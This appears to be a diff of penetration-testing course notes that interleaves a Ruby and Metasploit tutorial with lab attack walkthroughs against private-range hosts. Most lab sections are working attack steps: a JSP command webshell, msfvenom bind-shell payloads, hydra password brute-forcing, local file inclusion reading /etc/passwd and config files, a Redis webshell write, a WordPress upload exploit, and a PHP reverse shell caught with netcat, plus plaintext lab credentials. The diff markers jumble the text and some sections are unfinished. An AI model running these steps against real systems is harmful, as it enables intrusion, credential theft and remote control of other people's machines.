         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
837
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
838
      }  catch(IOException e) {   e.printStackTrace();   }
839
   }
840
%>
841
<pre><%=output %></pre>
842
-------------------------------------------index.jsp-------------------------------------------
843-
Target IP Address:
843+
844-
172.31.2.54
844+
845
 
846-
cd toolz/
846+
847-
mkdir dirbuster
847+
---------------------------Type This-----------------------------------
848-
wget "http://downloads.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fdirbuster%2Ffiles%2FDirBuster%2520%2528jar%2520%252B%2520lists%2529%2F1.0-RC1%2F&ts=1370262745&use_mirror=nchc" -O DirBuster-1.0-RC1.tar.bz2
848+
849-
tar -xjvf DirBuster-1.0-RC1.tar.bz2
849+
850-
mv DirBuster-1.0-RC1 dirbuster
850+
851-
rm DirBuster-1.0-RC1.tar.bz2
851+
852
cd webshell
853-
------------------------------------------------------------------------------------
853+
854
-----------------------------------------------------------------------
855-
open link in browser:
855+
856
 
857-
http://172.31.2.54/
857+
Deploy the WAR file using the built-in deploy option on the manager web-page.
858
Once the WAR file is deployed I simply browse to the URL I deployed the WAR file
859-
Running nikto and dirbuster with small.txt
859+
860
 
861
 
862-
infosecaddicts@ubuntu:~/toolz/nikto/program$ perl nikto.pl -host http://172.31.2.54/
862+
863
****** This section isn't finished ******
864-
infosecaddicts@ubuntu:~$ cd /home/infosecaddicts/Desktop/dirbuster/DirBuster-1.0-RC1
864+
865-
infosecaddicts@ubuntu:~/Desktop/dirbuster/DirBuster-1.0-RC1$ ./DirBuster-1.0-RC1.sh
865+
 ---------------------------Type This-----------------------------------
866
867-
target: http://172.31.2.54/
867+
868-
choose small.txt
868+
869
./msfvenom -p linux/x86/shell_bind_tcp LPORT="7777" -f war > /home/infosecaddicts/bind7777.war
870-
then try with normal txt
870+
871
jar tf ~/bind7777.war
872-
open
872+
-----------------------------------------------------------------------
873
 
874-
http://172.31.2.54/phpmy/
874+
875
 
876
Google is your friend hahahahahahahah........
877-
------
877+
878-
Burp
878+
879-
------
879+
880
# Attacking FTP #
881-
download Burp and run it
881+
882
883-
infosecaddicts@ubuntu:~/Downloads$ chmod +x burpsuite_free_linux_v1_7_24.sh
883+
---------------------------Type This-----------------------------------
884-
infosecaddicts@ubuntu:~/Downloads$ ./burpsuite_free_linux_v1_7_24.sh
884+
885
sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.24
886
 
887-
/test is vuln to LFI
887+
888
 
889
hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 172.31.2.24 ftp
890-
POST /test HTTP/1.1
890+
891
ftp
892-
Host: 172.31.2.54
892+
893
admin
894-
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0
894+
895
pwd
896-
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
896+
897
 
898-
Accept-Language: en-US,en;q=0.5
898+
899
-----------------------------------------------------------------------
900-
Cookie: PHPSESSID=9a0qsracd27ca5tq1t18kv5k16
900+
901
 
902-
Connection: close
902+
903
# Attacking SSH #
904-
Upgrade-Insecure-Requests: 1
904+
905
906
---------------------------Type This-----------------------------------
907
908
sudo apt-get install -y libssh-dev
909-
try file=/etc/passwd
909+
910
cd ~/toolz/hydra
911-
try file=test.php
911+
make clean
912
./configure
913-
try file=/var/www/phpmy/config.inc.php
913+
make
914
sudo make install
915
916
 
917
hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 172.31.2.24 ssh
918
 
919-
ssh root@172.31.2.54
919+
920
 
921-
pass: roottoor
921+
922
------------------------------- 
923-
return to burp
923+
924
cd ~/toolz/metasploit
925
 
926-
POST /test HTTP/1.1
926+
927
 
928-
Host: 172.31.2.54
928+
use auxiliary/scanner/ssh/ssh_enumusers          
929
 
930-
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0
930+
931
 
932-
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
932+
933
 
934-
Accept-Language: en-US,en;q=0.5
934+
935
 
936-
Cookie: PHPSESSID=9a0qsracd27ca5tq1t18kv5k16
936+
937
 
938-
Connection: close
938+
939
 
940-
Upgrade-Insecure-Requests: 1
940+
941
 
942-
try file=c.php
942+
943
 
944
use auxiliary/scanner/ssh/ssh_login          
945
 
946-
You can now login to phpmyadmin : http://172.31.2.54/phpmy/
946+
947
 
948-
user: billu
948+
949-
pass: b0x_billu
949+
950
set STOP_ON_SUCCESS true
951
 
952
set RHOSTS 172.31.2.24
953
 
954
set RPORT 1322
955-
# Day 3 Homework #
955+
956
run
957-
Take screenshots of you performing all of the day 3 tasks above
957+
958
 
959
sessions -l
960
 
961-
############################################################
961+
962-
# Section 1: Ruby Fundamentals and Metasploit Architecture #
962+
963-
############################################################
963+
964
 
965-
################################
965+
966-
# Chapter 1: Ruby Fundamentals #
966+
967-
################################
967+
-----------------------------------------------------------------------
968
 
969
 
970
########################
971-
- Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer
971+
972-
scientist and programmer from Japan. It is a cross-platform dynamic language.
972+
973
****** This section isn't finished ******
974-
- The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby
974+
975-
on Rails is a framework that is written in Ruby.
975+
---------------------------Type This-----------------------------------
976
 
977-
- Ruby's file name extensions are .rb and .rbw.
977+
978
-----------------------------------------------------------------------
979-
- official website of this
979+
980
****** This section isn't finished ******
981-
- language: www.ruby-lang.org.
981+
982
Google is your friend hahahahahahahah........
983
 
984-
- interactive Shell called Ruby Shell
984+
985
 
986
---------------------------Type This-----------------------------------
987-
- Installing and Running IRB
987+
988
wget https://repo.palkeo.com/repositories/mysterie.fr/prog/darkc0de/others/pmabf.py
989
 
990-
- open up the interactive console and play around.
990+
python pmabf.py http://172.31.2.24 root list.txt        (this gave me the WRONG password)
991
-----------------------------------------------------------------------
992
 
993-
irb
993+
994
 
995
 
996
 
997-
- Math, Variables, Classes, Creating Objects and Inheritance
997+
998
####################
999
# Attacking Joomla #
1000-
#following arithmetic operators:
1000+
1001-
Addition operator (+) — 10 + 23
1001+
1002-
Subtraction operator (-) — 1001 - 34
1002+
---------------------------Type This-----------------------------------
1003-
Multiplication operator (*) — 5 * 5
1003+
1004-
Division operator (/) — 12 / 2
1004+
1005
 
1006
./msfconsole
1007
 
1008-
#Now let’s cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment
1008+
use use auxiliary/scanner/http/joomla_plugins            
1009-
operator. ‘=’ is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by
1009+
1010-
30. Again, 69 is assigned to y, and then y is incremented by 33.
1010+
1011
 
1012-
x = 25
1012+
1013-
x + 30
1013+
1014-
y = 69
1014+
1015-
y+33
1015+
-----------------------------------------------------------------------
1016
 
1017
 
1018
****** This section isn't finished ******
1019
Google is your friend hahahahahahahah........
1020-
- Let’s look at creating classes and creating objects.
1020+
1021
#####################
1022-
- Here, the name of the class is Strategicsec. An object has its properties and methods.
1022+
1023
#####################
1024
 
1025
 
1026-
class Attack
1026+
1027-
attr_accessor :of, :sqli, :xss
1027+
1028-
end
1028+
1029
#################
1030-
#Now that we have created the classes let’s create the objects
1030+
1031
#################
1032-
first_attack = Attack.new
1032+
1033-
first_attack.of = "stack"
1033+
---------------------------Type This-----------------------------------
1034-
first_attack.sqli = "blind"
1034+
1035-
first_attack.xss = "dom"
1035+
1036-
puts first_attack.of
1036+
1037-
puts first_attack.sqli
1037+
1038-
puts first_attack.xss
1038+
1039
showmount -e 172.31.2.24
1040
 
1041
sudo /bin/bash
1042
 
1043
mkdir /tmp/nfs
1044-
- Let’s work on some inheritance that will help make your programming life easier. When we have multiple classes,
1044+
1045-
inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which
1045+
1046-
one object can access the properties/attributes of another object of a different class. Inheritance makes your
1046+
1047-
programming life easier by maximizing code reuse.
1047+
1048
 
1049
cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts
1050
 
1051-
class Exploitframeworks
1051+
1052-
attr_accessor :scanners, :exploits, :shellcode, :postmodules
1052+
1053-
end
1053+
1054-
class Metasploit < Exploitframeworks
1054+
1055-
end
1055+
1056-
class Canvas < Exploitframeworks
1056+
1057-
end
1057+
1058-
class Coreimpact < Exploitframeworks
1058+
1059-
end
1059+
1060-
class Saint < Exploitframeworks
1060+
1061-
end
1061+
1062-
class Exploitpack < Exploitframeworks
1062+
1063-
end
1063+
1064
-----------------------------------------------------------------------
1065
 
1066
 
1067
###################
1068
# Attacking Redis #
1069-
- Methods, More Objects, Arguments, String Functions and Expression Shortcuts
1069+
1070
1071-
- Let’s create a simple method. A method is used to perform an action and is generally called with an object.
1071+
---------------------------Type This-----------------------------------
1072
1073-
- Here, the name of the method is ‘learning’. This method is defined inside the Msfnl class. When it is called,
1073+
1074-
it will print this string: “We are Learning how to PenTest”
1074+
    infosecaddicts
1075
 
1076-
- An object named ‘bo’ is created, which is used to call the method.
1076+
1077
    infosecaddicts
1078
 
1079-
   
1079+
1080-
class Msfnl
1080+
1081-
def learning
1081+
1082-
puts “We are Learning how to PenTest”
1082+
1083-
end
1083+
1084-
end
1084+
1085
config set dbfilename boom.php
1086-
#Now let’s define an object for our Method
1086+
1087
CONFIG GET dbfilename
1088-
joe = Msfnl.new
1088+
1089-
joe.learning
1089+
1090
 
1091
BGSAVE
1092
 
1093
http://172.31.2.24/boom.php
1094-
- An argument is a value or variable that is passed to the function while calling it. In the following example, while
1094+
1095-
calling the puts() function, we are sending a string value to the function. This string value is used by the
1095+
1096-
function to perform some particular operations.
1096+
1097
 
1098-
puts (“Pentesting”)
1098+
1099
 
1100
 
1101
 
1102
****** This section isn't finished ******
1103
Google is your friend hahahahahahahah........
1104-
- shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated
1104+
1105-
assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following
1105+
1106-
statements to understand the shortcuts.
1106+
1107
./msfconsole
1108-
g = 70
1108+
1109-
g = g+44
1109+
1110-
g += 33
1110+
1111
set RHOSTS 172.31.2.24
1112-
- In the above statement, g is incremented by 33 and then the total value is assigned to g.
1112+
1113
set LocalFile
1114-
g *= 3
1114+
1115
****** This section isn't finished ******
1116-
- In the above statement, g is multiplied with 3 and then assigned to g.
1116+
1117
1118-
- Example
1118+
1119
1120-
- Comparison Operators, Loops, Data Types, and Constants
1120+
1121
1122-
- Comparison operators are used for comparing one variable or constant with another variable or constant. We will show
1122+
sudo nmap -sV -p 3260 172.31.2.217
1123-
how to use the following comparison operators.
1123+
1124-
‘Less than’ operator (<): This operator is used to check whether a variable or constant is less than another
1124+
1125-
variable or constant. If it’s less than the other, the ‘less than’ operator returns true.
1125+
sudo apt install open-iscsi
1126-
‘Equal to’ operator (==): This operator is used to check whether a variable or constant is equal to another variable
1126+
1127-
or constant. If it’s equal to the other, the ‘equal to’ operator returns true.
1127+
sudo iscsiadm -m discovery -t  st -p 172.31.2.217
1128-
‘Not equal to’ operator (!=): This operator is used to check whether a variable or constant is not equal to another
1128+
1129-
variable or constant. If it’s not equal to the other, the ‘not equal to’ operator returns true.
1129+
sudo iscsiadm -m discovery -t  st -p 172.31.2.217:3260
1130
 
1131
sudo iscsiadm -m node -p 172.31.2.217 --login
1132-
numberofports = 55
1132+
1133-
puts "number of ports found during scan" if numberofports < 300
1133+
1134-
numberofports = 400
1134+
1135-
puts "number of ports found during scan" if numberofports < 300
1135+
fdisk -l
1136-
puts "number of ports found during scan" if numberofports == 300
1136+
    ***** look for /dev/sda5 - Linux swap / Solaris *******
1137-
puts "number of ports found during scan" if numberofports != 300
1137+
1138-
Example
1138+
mkdir /mnt/217vm
1139
 
1140
mount /dev/sdb /mnt/217vm
1141-
- the ‘OR’ operator and the ‘unless’ keyword. This symbol ‘||’ represents the logical ‘OR’ operator.
1141+
1142
cd /mnt/217vm
1143-
- This operator is generally used to combine multiple conditions.
1143+
1144-
- In case of two conditions, if both or any of the conditions is true, the ‘OR’operator returns true. Consider the
1144+
1145
 
1146-
- following example to understand how this operator works.
1146+
cat flag1.txt
1147
 
1148-
ports = 100
1148+
file bobsdisk.dsk
1149-
puts "number of ports found on the network" if ports<100 || ports>200
1149+
1150-
puts "number of ports found on the network" if ports<100 || ports>75
1150+
mkdir /media/bobsdisk
1151-
#unless
1151+
1152-
portsbelow1024 = 50
1152+
mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
1153-
puts "If the ports are below 1024" unless portsbelow1024 < 1000
1153+
1154-
puts "If the ports are below 1024" unless portsbelow1024 < 1055
1154+
/mnt/217vm# ls
1155-
puts "If the ports are below 1024" unless portsbelow1024 < 20
1155+
1156
cd /media/bobsdisk/
1157
 
1158-
- The ‘unless’ keyword is used to do something programmatically unless a condition is true.
1158+
1159
 
1160
cat ToAlice.eml
1161
 
1162-
- Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times.
1162+
file bobsdisk.dsk
1163
 
1164-
- See the following example to understand how a string is printed 10 times on the screen using a loop.
1164+
mkdir /media/bobsdisk
1165
 
1166-
10.times do puts "strategicsec" end
1166+
mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
1167-
#Or use the curly braces
1167+
1168-
10.times {puts "strategicsec"}
1168+
/mnt/217vm# ls
1169
 
1170
cd /media/bobsdisk/
1171
 
1172-
- Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while
1172+
1173-
working with different data types. Data type conversion is also known as type casting.
1173+
1174
cat ToAlice.eml
1175
 
1176
file ToAlice.csv.enc
1177-
- In the following example, a and b are integers. So when a is divided by b, an integer division is performed. As a
1177+
1178-
result, 23/25 becomes 0.
1178+
file bobsdisk.dsk
1179
 
1180-
- On the other hand, the integer variables c and d are converted to float. So the division gives the result in decimal
1180+
1181-
points.
1181+
1182
mkdir /media/bobsdisk
1183-
24/4
1183+
1184-
14.0/5.0
1184+
1185-
a = 23
1185+
mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
1186-
b = 25
1186+
1187-
print a/b
1187+
1188-
c = 26
1188+
1189-
d = 33
1189+
cd /media/bobsdisk/
1190-
print c.to_f/d.to_f
1190+
1191
ls
1192
 
1193
openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
1194
 
1195-
- Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you
1195+
1196-
change the value of a constant, you will see a warning message.
1196+
1197
cat ToAlice.eml | grep flag
1198
 
1199
openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
1200
 
1201-
- Multiple Line String Variable, Interpolation, and Regular Expressions
1201+
1202
 
1203-
- A multiple line string variable lets you assign the value to the string variable through multiple lines.
1203+
cat ToAlice.eml
1204
    ***** look for supercalifragilisticoespialidoso ******
1205-
strategicsec = <<mark
1205+
1206-
welcome
1206+
openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
1207-
to the
1207+
1208-
best
1208+
    supercalifragilisticoespialidoso
1209-
metasploit
1209+
1210-
course
1210+
1211-
on the
1211+
1212-
market
1212+
1213-
mark
1213+
cat ToAlice.csv
1214-
puts strategicsec
1214+
-----------------------------------------------------------------------
1215
 
1216
-----------------------------------------------------
1217
Web Path,Reason
1218-
- Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that
1218+
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
1219-
it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position.
1219+
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
1220-
Examine the following example to understand how interpolation works in Ruby.
1220+
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
1221
 
1222
-----------------------------------------------------
1223
 
1224-
a = 4
1224+
The hints are "Web Path" and "strangest URL" so let's try the long strings in the URL:
1225-
b = 6
1225+
http://172.31.2.217/5560a1468022758dba5e92ac8f2353c0/
1226-
puts “a * b = a*b”
1226+
  -- view source
1227-
puts “ #{a} * #{b} = #{a*b} “
1227+
1228-
person = “Joe McCray”
1228+
Found this string in the source:
1229-
puts “IT Security consultant person”
1229+
R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr
1230-
puts “IT Security consultant #{person}”
1230+
ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl
1231
bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi
1232-
- Notice that the placeholders inside #{ } are evaluated and they are replaced with their values.
1232+
YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK
1233
ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56
1234
YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg
1235-
- Regular expression is a powerful technique for text searching and text manipulation. Ruby provides built-in support
1235+
TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l
1236-
for regular expressions through the Regexp class. So the regular expressions in Ruby are the objects of Regexp type.
1236+
IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh
1237
ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl
1238
IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK
1239
 
1240-
- In regular expressions, we define patterns to perform text search and advanced text manipulations. String literals
1240+
------ https://www.base64decode.org/ -------
1241-
and metacharacters constitute a pattern. // characters mark the beginning and end of a pattern in Ruby.
1241+
------ Decoded, but didn't find a flag -----
1242-
The following example shows how the substring “today”
1242+
1243-
is placed in the main string.
1243+
1244
http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/
1245-
a = "Woot Woot, we are learning regular expressions!!"
1245+
  -- view source --
1246-
puts a.sub(/^..../, 'Today')
1246+
  -- Nothing in source --
1247-
puts a.sub(/^..../, 'Today')
1247+
1248
Browsed to the flag link:
1249
view-source:http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=flag
1250
  -- view source --
1251-
- Let’s Loop the expressions. This example shows how to loop the expressions.
1251+
  -- Nothing in source --
1252
 
1253-
a.scan(/...../) {|w| puts w}
1253+
1254-
a.scan(/\S\S/) {|w| puts w}
1254+
Tried a PHP base64 decode with the URL:
1255
http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=welcome.php
1256
http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
1257
http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=party.php
1258-
- Character classes
1258+
1259
------ https://www.base64decode.org/ -------
1260-
strategicsec = "I Scanned 45 hosts and found 500 vulnerabilities"
1260+
Use the string found here:
1261-
"I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y}
1261+
http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
1262-
"I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y}
1262+
1263
-------------------------------------------------------------------
1264
PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==
1265
-------------------------------------------------------------------
1266-
- Arrays, Push and Pop, and Hashes
1266+
<?php
1267
defined ('VIAINDEX') or die('Ooooh! So close..');
1268
?>
1269-
- In the following example, numbers is an array that holds 6 integer numbers.
1269+
<h1>Flag</h1>
1270
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
1271
<img src="trollface.png" />
1272
<?php
1273-
numbers = [2,4,6,8,10,100]
1273+
// Ok, ok. Here's your flag!
1274-
puts numbers[0]
1274+
//
1275-
puts numbers[4]
1275+
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
1276-
numbers[2] = 150
1276+
//
1277-
puts numbers
1277+
// Well done, you're doing great so far!
1278
// Next step. SHELL!
1279
//
1280
//
1281
// Oh. That flag above? You're gonna need it...
1282-
- Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop.
1282+
?>
1283
 
1284
######################
1285
# Attacking Minotaur #
1286-
framework = []
1286+
1287-
framework << "modules"
1287+
1288-
framework << "exploits"
1288+
Step 1: Portscan/Bannergrab the target host
1289-
framework << "payloads"
1289+
---------------------------Type This-----------------------------------
1290-
framework.pop
1290+
sudo nmap -sV 172.31.2.117
1291
-----------------------------------------------------------------------
1292
1293-
- Hash is a collection of elements, which is like the associative array in other languages. Each element has a key
1293+
1294-
that is used to access the element.
1294+
1295
Step 2: Vulnerability scan the web server
1296
---------------------------Type This-----------------------------------
1297-
- Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes.
1297+
1298-
In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the
1298+
1299-
respective values: 'what module should you use', 'Windows XP' and 'SSH'.
1299+
1300
 
1301
git clone https://github.com/sullo/nikto.git Nikto2
1302-
metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'}
1302+
1303-
print metasploit.size
1303+
cd ~/toolz/Nikto2/program
1304-
print metasploit["microsoft"]
1304+
1305-
metasploit['microsoft'] = 'redhat'
1305+
perl nikto.pl -h 172.31.2.117
1306-
print metasploit['microsoft']
1306+
-----------------------------------------------------------------------
1307
1308
1309
1310-
- Writing Ruby Scripts
1310+
Step 3: Directory brute-force the webserver
1311
---------------------------Type This-----------------------------------
1312
cd ~/toolz
1313-
- Let’s take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what
1313+
1314-
this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that
1314+
git clone https://github.com/v0re/dirb.git
1315-
someone made to look for a specific port. The port that it is looking for is port 21 FTP.
1315+
1316
cd dirb/
1317-
cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
1317+
1318
./configure
1319-
ack.rb  ftpbounce.rb  syn.rb  tcp.rb  xmas.rb
1319+
1320
make
1321-
- Lets look at tcp.rb
1321+
1322-
   
1322+
dirb
1323
 
1324
./dirb http://172.31.2.117 wordlists/big.txt
1325-
- Let’s take the time now to create and design our own port scanner what we will design here is a port scanner that
1325+
-----------------------------------------------------------------------
1326-
will scan for port up to 0-1024. And we will add a function in there for the port scanner to prompt us stating OPEN
1326+
1327-
port if it detects it. This is a pretty basic script, but it will help you in the event that you need to write
1327+
### dirb output ###
1328-
something on the fly.
1328+
==> DIRECTORY: http://172.31.2.117/bull/
1329
-----------------------------------------------------------------------
1330
1331
1332-
- PortScanner.rb :
1332+
Step 4: Run wordpress vulnerability scanner
1333
---------------------------Type This-----------------------------------
1334-
require 'socket'
1334+
sudo apt-get install -y libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev
1335-
require 'timeout'
1335+
1336
cd ~/toolz
1337-
puts "Enter IP Address to Scan:"
1337+
1338-
ipaddress = gets
1338+
rm -rf wpsca*
1339
1340-
1.upto(1024) {|port|
1340+
git clone https://github.com/wpscanteam/wpscan.git
1341-
  begin
1341+
1342-
    timeout(5) do
1342+
cd wpscan
1343-
      TCPSocket.open(ipaddress.chop, port)
1343+
1344-
    end
1344+
sudo gem install bundler && bundle install --without test development
1345-
    puts "Response/Port Open: #{port}"
1345+
1346-
  rescue Timeout::Error
1346+
rbenv install 2.5.0-dev
1347-
    # uncomment the following line to show closed ports (noisy!)
1347+
1348-
    #puts "No Response /Port closed: #{port}"
1348+
ruby wpscan.rb -u http://172.31.2.117/bull/ --enumerate u
1349-
  rescue
1349+
-----------------------------------------------------------------------
1350-
    # uncomment the following line to show closed ports (noisy!)
1350+
1351-
    #puts "No Response /Port closed: #{port}"
1351+
1352-
  end
1352+
1353-
}
1353+
1354
Step 5: Attack vulnerable Wordpress plugin with Metasploit
1355
---------------------------Type This-----------------------------------
1356
cd ~/toolz/metasploit
1357
1358
./msfconsole
1359
1360
use exploit/unix/webapp/wp_slideshowgallery_upload
1361
1362-
######################################
1362+
set RHOST 172.31.2.117
1363-
# Chapter 2: Metasploit Fundamentals #
1363+
1364-
######################################
1364+
set RPORT 80
1365
1366-
- Let’s take a little look at Metasploit Framework
1366+
set TARGETURI /bull
1367
1368-
- First, we should take note of the different directories, the Modular Architecture.
1368+
set WP_USER bully
1369
1370-
The modules that make up the Modular Architecture are
1370+
set WP_PASSWORD Bighornedbulls
1371-
Exploits
1371+
1372-
Auxiliary
1372+
1373-
Payload
1373+
-----------------------------------------------------------------------
1374-
Encoder
1374+
1375-
Nops
1375+
Damn...that didn't work...Can't reverse shell from inside the network to a host in the VPN network range.
1376
This is a lab limitation that I implemented to stop students from compromising hosts in the lab network
1377
and then from the lab network attacking other students.
1378-
Important directories to keep in mind for Metasploit, in case we'd like to edit different modules, or add our own,
1378+
1379
1380-
are
1380+
---------------------------Type This-----------------------------------
1381
wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
1382-
Modules
1382+
1383-
Scripts
1383+
tar -zxvf php-reverse-shell-1.0.tar.gz
1384-
Plugins
1384+
1385-
External
1385+
cd ~/toolz/php-reverse-shell-1.0/
1386-
Data
1386+
1387-
Tools
1387+
nano php-reverse-shell.php
1388
-----------------------------------------------------------------------
1389-
- Let's take a look inside the Metasploit directory and see what's the
1389+
	***** change the $ip and $port variables to a host that you have already compromised in the network
1390
	***** for this example I chose 172.31.2.64 and kept port 1234
1391
1392
1393
---------------------------Type This-----------------------------------
1394
chmod 777 php-reverse-shell.php
1395
cp php-reverse-shell.php ..
1396
-----------------------------------------------------------------------
1397-
- Now let's take a look inside the Modules directory and see what's there.
1397+
1398
1399-
cd ~/toolz/metasploit/modules
1399+
1400
----------- Paste this into a new file called wp_gallery_slideshow_146_suv.py -----------
1401
https://www.exploit-db.com/raw/34681/
1402
1403-
       
1403+
python wp_gallery_slideshow_146_suv.py -t http://172.31.2.117/bull/ -u bully -p Bighornedbulls -f php-reverse-shell.php
1404-
The auxiliary directory is where the things like our port-scanners will be, or any module that we can run that does
1404+
1405-
not necessarily need to - have a shell or session started on a machine.
1405+
-----------------------------------------------------------------------
1406
1407-
The exploits directory has our modules that we need to pop a shell on a box.
1407+
1408-
The external directory is where we can see all of the modules that use external libraries from tools Metasploit uses
1408+
1409-
like Burp Suite
1409+
Set up netcat listener on previously compromised host
1410-
- Let’s take a look at the external directory
1410+
---------------------------Type This-----------------------------------
1411
ssh -l webmin 172.31.2.64
1412-
cd ~/toolz/metasploit/external
1412+
	webmin1980
1413
1414
python -c 'import pty;pty.spawn("/bin/bash")'
1415
1416-
- Our data directory holds helper modules for Metasploit to use with exploits or auxiliary modules.
1416+
1417
cd /tmp
1418-
cd ~/toolz/metasploit/data
1418+
1419
./boom2
1420
1421
nc -lvp 1234
1422-
- For example, the wordlist directory holds files that have wordlists in them for brute-forcing logins or doing DNS
1422+
-----------------------------------------------------------------------
1423-
brute-forcing
1423+
1424
1425-
cd ~/toolz/metasploit/data/wordlists
1425+
1426
1427-
   
1427+
---------------------Type This in your browser ------------------------
1428
http://172.31.2.117/bull//wp-content/uploads/slideshow-gallery/php-reverse-shell.php 
1429-
- The Meterpreter directory inside of the data directory houses the DLLs used for the functionality of Meterpreter
1429+
-----------------------------------------------------------------------
1430-
once a session is created.
1430+
1431
1432-
cd ~/toolz/metasploit/data/meterpreter
1432+
Now check your listener to see if you got the connection
1433
---------------------------Type This-----------------------------------
1434
id
1435
1436
/sbin/ifconfig
1437-
- The scripts inside the scripts/Meterpreter directory are scripts that Meterpreter uses for post-exploitation, things
1437+
1438-
like escalating privileges and dumping hashes.
1438+
python -c 'import pty;pty.spawn("/bin/bash")'
1439
1440-
